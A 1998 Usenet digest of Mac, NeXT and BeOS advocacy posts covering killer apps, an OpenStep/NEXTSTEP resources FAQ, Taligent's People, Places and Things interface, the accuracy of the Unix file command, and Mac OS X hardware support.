Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 19 Jul 1998 04:00:59 GMT
NNTP-Posting-Date: Sun, 19 Jul 1998 00:00:59 EDT
> >Where was the LaserWriter? Postscript? Aldus and Adobe?
> >Nowhere!
>
> Just because Mac once didn't have a killer app, and then
> did, does not mean that because Be does not have a killer
> app, it will someday.
And just because an OS does not have a killer app
in it's early stages, does not mean it won't ever.
The important thing is to have a good groundwork
for a killer app. Mac OS had a good groundwork
for the PageMaker, PostScript and LaserWriter combination.
BeOS has a good groundwork for future killer media apps.
--Eric
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Date: Sat, 18 Jul 1998 23:06:34 -0500
Organization: Prairie Group
Message-ID: <MPG.101b2cc0423023b29899be@news.supernews.com>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com> <joe.ragosta-1807982031210001@elk61.dol.net> <macghod-1807981759190001@sdn-ar-001casbarp256.dialsprint.net>
In article <macghod-1807981759190001@sdn-ar-
001casbarp256.dialsprint.net>, macghod@concentric.net says...
> In article <joe.ragosta-1807982031210001@elk61.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <MPG.101aed208700dc2b9899bb@news.supernews.com>,
> > don.brown@cesoft.com (Donald Brown) wrote:
> > > The attention Edwin is getting, makes me think he's accomplishing
> > > something.
> >
> > Yeah. He's reducing the number of personal attacks directed at me.
>
> Oh please. Joe occasionally does get exasperated enough that he insults
> people, but as a rule he is generally considerate to others. Edwin comes
> here for nothing other than trolling. WIth the ammount of insults he
> throws, how the hell can you blame people for insulting him back?!?!??!
> Almost every post by him is a insult.
I do think Edwin is also too offensive too often (and I've told him so).
But, Joe and Edwin take about the same amount of abuse. Which makes me
believe that it's less about how them comport themselves, and more about
being Mac supporters.
Donald
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <26220900216033@digifix.com>
Date: 19 Jul 1998 03:48:46 GMT
Organization: Digital Fix Development
Message-ID: <17553900820823@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: Sat, 18 Jul 1998 20:49:36 -0700
Organization: USC
Message-ID: <edremy-ya02408000R1807982049360001@nnrp.usc.edu>
References: <6oqr65$ept$1@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6oqr65$ept$1@supernews.com>, a l t e n ber@nashville.com
(delete spaces, spam trick) wrote:
>With the NeXT GUI, I can find any window and bring it up to the top in no
>more that 3 mouse clicks. This is even if I have 50, 70, 100 windows open:
As a side note, I can do it in one with the Mac Finder and ApplWindows.
Select app from pop-up menu, select window from submenu. Done. (And in my
opinion, the way it should be done.)
By far the best control panel for the Mac.
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <2H2r1.193$E5.1810459@proxye1.san.rr.com> <trev-1507981123530001@nas-p1.usc.net> <IFcs1.665$E5.4873657@proxye1.san.rr.com>
Subject: [LONG] People, Places, Things (Re: Mac OS X UI)
Message-ID: <utes1.674$E5.4933038@proxye1.san.rr.com>
Date: Sun, 19 Jul 1998 04:19:38 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 21:19:38 PDT
Organization: TWC Road Runner, San Diego, CA
>Trevor Zion Bauknight wrote in message ...
>Regarding the PPT aspect of Pink: I'm not familiar with it.
I'll take a stab at what People, Places and Things (PPT) was about. Please
note that I've never seen the various demos which were given, I can only go
by my reading and what I'd heard, years gone by.
One of PPT's goals was to facilitate human-human interactions via the
electronic media: groupware and knowledge management are today's buzzwords.
On a give computer there would exist at least one 'home' place per user. A
Place is where things (tools, data, appliances) and People existed. A
Person could own or visit (a Place on an intranet, for example) more than
one Place.
Whenever a person logged in they system could prompt them asking whether
they want to return to the last Place they were in or go to their default
home place. Whatever the choice, the OS would bring up the place exactly as
the user last left it with data and tools active and placed just as they
were when the user left. A place could be/was a customized environment,
optimized for a particular task such as collaboration on a project, creating
multimedia, etc. You can think of a Place as a multiple desktop environment
where your settings would be retained on a per-desktop basis although it was
intended to be much more.
In some concepts a user could move from Place to Place via a Map object
visible in the low right corner of the display. This map would fold up to
take less space or fold out for Place-to-Place navigation. Documents and
tools could be shared between places or travel with the
Person--unfortunately I don't recall the UI mechanism for this--it might
have been a special folder.
Things include items like tools such as those available via palettes you
might have in MS Office, PhotoShop, etc. Tool sets could be mixed/matched
as the user desired. Things also included Appliances such as printers
(printing to the printer appliances was accomplished via printer Services)
and the Trash. I don't think it would be wrong to characterize things as
incorporating the compound document functionality of OpenDoc. However, it
wasn't limited to the OpenDoc functionality. Things could offer Services,
in the NEXTSTEP-way, available via the Services menu. Spell checking would
be provided via Service and available to any object or data, any field, form
or text box transparently.
Things were represented as large 48x48 icons (in CommonPoint they could be
GIFs or Illustrator files), documents and folders retained the common 32x32
size.
People we represented by Business Cards. A person's Business Card appeared
in a place to represent their current presence such as during electronic
collaboration, or an on-line chat. These cards not only incorporated
contact information but preferences, security info, information about the
roles the person played in the enterprise or group on a project, etc. A
Business Card could be shared and they were universal to any system running
Taligent's Application Services/CommonPoint or the Object Services
(Taligent's canceled Operating System). You can grant certain permissions
to the recipient of your Business Card, such as access to your Office Place
for your colleague on a large project while you are on vacation. At some
point, People could be located via a master network browser which resembled
a tabbed phone book. That phone book could show People, Places, Shared
Folders, Shared Services, Shared Printers (and probably other stuff I've
forgotten). The master network browser had an outline view of People
grouped according to the Place they were in. Those groupings were phone
books and they could be opened into separate windows which further narrowed
that lists of People, Places, Shared Folders, Shared Services, etc. which
were available--after all, you were just looking at a particular Place's
stuff, not everything on the network. You could be looking at just one
branch office's worth of People, Services, etc. vs. the entire company.
PPT's standard windows offered a cross between OPENSTEP & Mac OS 8's
functionality. Scrollbars had grouped arrows in the NeXT fashion with the
vertical scrollbar on the right-hand edge of the window. The thumb was
proportional. Titlebar widgets included the collapse box (was called
"minimizer") of OS 8 windows was well as the close and zoom boxes laid out
in a Mac-alike pattern. A window was resizable via any corner and the
bottom edge of the window had a 'drag bar' ala OPENSTEP.
Menus were arranged in the OPENSTEP configuration although it was possible
to change this to appear as a Mac-type menu bar, for example. I don't
recall if that was a user preference or something only developers were able
to do. The menus were these (thanks to re-reading my old copy of the
Taligent Interface Guidelines) :
Services >
Place >
Document >
Edit >
[hey developers! put your menus here]
Window >
File >
Special >
Filter >
Clean Up >
Document had menu items which applied only to the currently active container
such as Close or About...
The Edit menu applied only to the current selection and the commands changed
to be specific to the currently selected data type.had the usual suspects
Cut, Copy, Paste, Undo, Redo, Delete (aka Clear), Select All. Copy Active
Frame As Link would be like Copy As Shortcut in IE4. The clipboard was no
smarter than the current Mac/Windows clipboards--only one item at a time was
there. Paste was developer dependent however, you could change paste to
paste an items as embedded or have them absorbed like when you pasted some
text into a document in MacWrite. Generally, if the receiving frame was of
a similar data type the pasted item was absorbed, otherwise it was embedded.
Also available was Paste Frame as Link which would be like publish/subscribe
and DDE. Update Link updated the data as viewed to match the source. Show
Links lets you hide or show links--this was a toggle menu item. I don't
quite know how this worked.
Reference leads to a submenu with Begin with Active Frame and End with
Active Frame.
I don't know for sure the difference between a Link and a Reference except
that I think a Reference was a double or bi-directional link. You could
traverse from A-to-B and B-to-A via the Reference created between them. You
could put a Reference to a printer on your Business Card and send to a
colleague and they could printer to you printer Appliance such as a case
where only your printer had the latest forms.
The Window menu let you manage the currently active window and window groups
(not unlike OPENSTEP).
Folders were just one kind of container. CommonPoint, as it shipped didn't
support custom containers but that was the plan. Developers could have
created a PIM container which used the Business Cards, for example.
File had these submenus and operations. Make New created a new document
from the selected stationery. Make Stationery made a stationery pad from the
selected presentation (such as an icon or frame). Open Presentation opened
the selected presentation. Open Shared opened shared documents. Recent
Shared Documents listed recently opened shared documents. The Special menu
supported access to commands that affect the entire Workspace such as Move
to Trash and Empty Trash (which worked just like Mac OS 8). The Empty Trash
command was only available if you had selected the Trash Appliance's
Presentation (selected the Trash icon) and toggled with Move to Trash. Shut
Down quit all programs and shut down the system.
The Filter menu let you specify what icons were visible currently. Show All
displays all icons. Show Folders displays only the folder icons. Show
Stationery displays only the stationery icons. Show Documents displays only
the document icons. Show XYZ would show just XYZ...you get the idea. The
Filter menu was a standard menu and could be applied elsewhere but I don't
know how it would be used. Perhaps you could have a document just show all
References or Links? I'm not sure.
The Clean Up menu let you organize the icons in the Workspace.
CommonPoint's Workspace supported only the icon view so this was pretty
limited. I would assume the direction would have been to support the full
range of views supported by Mac OS (and OS/2). As a result of the
CommonPoint limitations it only had the ability to sort By Name.
The Place menu was never implemented in CommonPoint, IIRC, so I don't know
what was in it. I assume it would be things related to being in the place,
moving from Place to Place, bundling up tools/documents/etc. to take with
you, maybe a way to see who was in the place, etc., etc.?? I'm not sure
I've got any info on what was meant for the Place menu but I'll look around.
Oh, the wait pointer was forbidden. The system had to be always responsive
and other means of letting the user know an operation was in progress was
required. A progress dialog during a copy operation, for example.
Menus were both sticky (in the NEXT sense) and could tear off--basically it
was just like OPENSTEP.
The frameworks included support for 2D, 3D, internationalization, compound
documents (including OpenDoc compatibility) and much, much more. Having
this cross-platform network of frameworks, Application Services, allowed
seamless sharing of data and resources regardless of the underlying
operating system or hardware be it a Compaq PC with OS/2, PowerMac with Mac
OS, a PowerPersonal System with TalOS or DEC Alpha running Windows NT.
Development, thanks to the rich set of frameworks would require minimal time
on the order of OPENSTEP or perhaps better.
Anyway...that's an intro to what People, Places and Things offered or
planned to offer AFAIK.
--Ed.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net>
Message-ID: <35b179d2.0@news.depaul.edu>
Date: 19 Jul 98 04:45:06 GMT
In comp.sys.next.advocacy Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
> did, does not mean that because Be does not have a killer
> app, it will someday.
> Those with experience with NeXT will testify to this.
> (AppKit and custom development were OK, but more along
> the lines of a sporadically violent barrrom brawler than killer.)
More or less a 'chasm' case. Only the bleeding edge companies
would take a chance.
There aren't many 'killer apps' these days. The web is one, I'd guess,
but since it's 'open' it didn't benefit any one platform.
--
"... and subpoenas for all." - Ken Starr
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 19 Jul 1998 04:27:58 GMT
Organization: Digital Fix Development
Message-ID: <6orske$bsf$1@news.digifix.com>
References: <6oqr65$ept$1@supernews.com> <forrestDELETE-THIS!-1807981513190001@term3-17.vta.west.net>
In-Reply-To: <forrestDELETE-THIS!-1807981513190001@term3-17.vta.west.net>
On 07/18/98, Forrest Cameranesi wrote:
>In article <6oqr65$ept$1@supernews.com>, a l t e n ber@nashville.com
>(delete spaces, spam trick) wrote:
>
>> With the NeXT GUI, I can find any window and bring it up to the top
in no
>> more that 3 mouse clicks. This is even if I have 50, 70, 100
windows open:
>
>One click - the Application menu, which now includes all open windows
as
>well.
Uh, since when? Not on any copy of Rhapsody/Mac OS X I've
ever seen.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 18 Jul 1998 21:55:23 -0700
Organization: USC
Message-ID: <edremy-ya02408000R1807982155230001@nnrp.usc.edu>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net> <mNOSPAMroeder-1707981742020001@192.168.21.168> <slrn6qvsub.qjo.jason@jhste1.dyn.ml.org>
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In article <slrn6qvsub.qjo.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
>Michael Roeder posted the following to comp.sys.mac.advocacy:
>
>>But if you know what the file contains, you have a head start on solving
>>the problem. What if I gave you an unidentified byte stream and asked you
>>to tell me what was in it? That's really hard.
>
>Not with UNIX. See magic(4) and file(1).
Come on Jason, file(1) sucks. Let's give it a try:
[michele]htdocs} file index.html
index.html: ascii text
Well, ok, it's ascii text, but it's also HTML. Why doesn't file(1) tell me
that?
Let's try again
[michele]htdocs} file massage.pl
massage.pl: C program text
Hurm, I didn't know that .pl was a standard C filename extension. There's
a good reason for this of course- massage.pl is not C. It's perl.
One more time to redeem file(1)
[michele]acidbase} file acidbase.class
acidbase.class: data or International Language text
Nope. It's a Java classfile. I suppose you could consider it raw data,
but that's a serious copout.
Just for the record, it did get a GIF file correct.
file(1) goes about 1.5/4. This wasn't hard to do- I just picked four
random files on my webserver. Anything this bad is basically useless.
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 19 Jul 1998 01:32:03 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-1907980132030001@jp.orgk1.dial.lu.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu> <MPG.10151f8fca0af55e989996@news.supernews.com> <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
>
> Indeed they can't. If Apple would just say that they've looked into the
> issue and found that it would delay too far the release, I would quiet
> down. I might still grumble a bit, but I'd at least understand the
> rationale. So far all it looks like is a way to increase profits by
> screwing us.
While I would understand that rationale, I still wouldn't believe the
line they fed me. If delays caused by Tsunami support _truly_ is an
issue, they can simply make OS X for Tsunami motherboards available
a couple of months later than the Gossamer release.
I'd guess that by the time MacOS X is ready to ship just about all
Tsunami based macs will still be in use.
How will those owners feel if their machines aren't supported?
Personally, I will be very irritated.
And how could I ever recommend friends and customers to buy Apple
with that kind of OS support?
Jonas Palm
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 19 Jul 1998 03:19:49 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B19E15.66D82549@cloud9.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net> <6ojtb7$otj$1@lwnws01.ne.highway1.com>
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Hmmm ok, though I find that whatever I can do (not much since I haven't
programmed since high school, but I wish to change my career back in
this direction eventually) is not much, and I still feel that NeXT has
not many faults on the PC... the only ones I can think of are lack of
support for Ultra Wide SCSI (esp. my BT-958), and lack of software until
recently... of course I usually interpret a lack of software as a lack
of maybe one or two things I would use the most :-) which most would say
is lame, but no Netscape was a big thing for me since Linux had it, but
AfterStep only resembles the NeXT desktop... doesn't behave a bit like
it. We all want the cake and to eat it too I guess. We all want Mac OS
X for Intel... with CLI/Terminal.app, and I'd also like a PPC with
that... also doing MkLinux/Mac OS X... with a nice fat 21" monitor.
John Kheit wrote:
>
> Andrew Weiss <ajwdsp@cloud9.net> wrote:
> > John, I used to read your web pages and articles, and I thought they
> > were great...Pardon me for asking, but WHAT EXACTLY DO YOU LIKE? Just
> > NeXT's UI? You seem to insult everything from Win 3.1-->, MacOS, OS/2,
> > UNIX/X...and I think even NeXT's own UI.
>
> I guess this is the narcisist in me (actually, I believe it's the part of me
> that is always trying to find out exactly why I'm so f'n stupid and improve),
> but what made you stop reading my usenet post (I'm guessing these are the
> articles you refer to)? Please be honest, I really appreciate it when people
> actually are nice enough to point out my faults and I can learn from it.
>
> Anyway, I think you got it right. There are major faults with all of them.
> They all suck. What I like about the NeXTUI is that it was a rather and
> relative substantial change in many ways. It made me stop, think, and
> relearn things in a very positive way. Kinda like Improv did for
> spreadsheets, and smalltalk, java, Eiffel, and Objective C made my brain hurt
> and than free when shifting from the procedural to the OOP model.
>
> I guess what burns my bridges is that I don't see anyone trying to move
> forward at all. And most people defend this stagnation irks at me too. Even
> if people try stuff and it sucks, I'd appreciate the effort. Hopefully if
> they are open enough to try and advance things, they'll also be open to great
> criticism and feedback in changing the messups. NeXT did this a bunch from
> 0.8->1.0->2.0->3.0-4.0a. Apple hasn't done this in any substantial way in
> quite some time.
>
> But to answer your questions, they all suck terribly in many ways. Again, I
> don't think that's a bad thing. It just happens to be where we are today.
> The bad thing is not realizing that we're in a stinkn pile of poo, and not
> trying to move away and forward from this bad spot.
I'm always willing to try, but right now I'm just a chemist with a
strong computer background from mainly the UNIX admin side. I have an
understanding of algorithms and data structures, object oriented
programming, and the guts of many machines... hardware and software...
as for the dynamics and syntax of programming languages... I remember
not a one... well I do remember certain commands, but ask me to string
them together and I'd have to read a book for 8 hours... then I'd be ok.
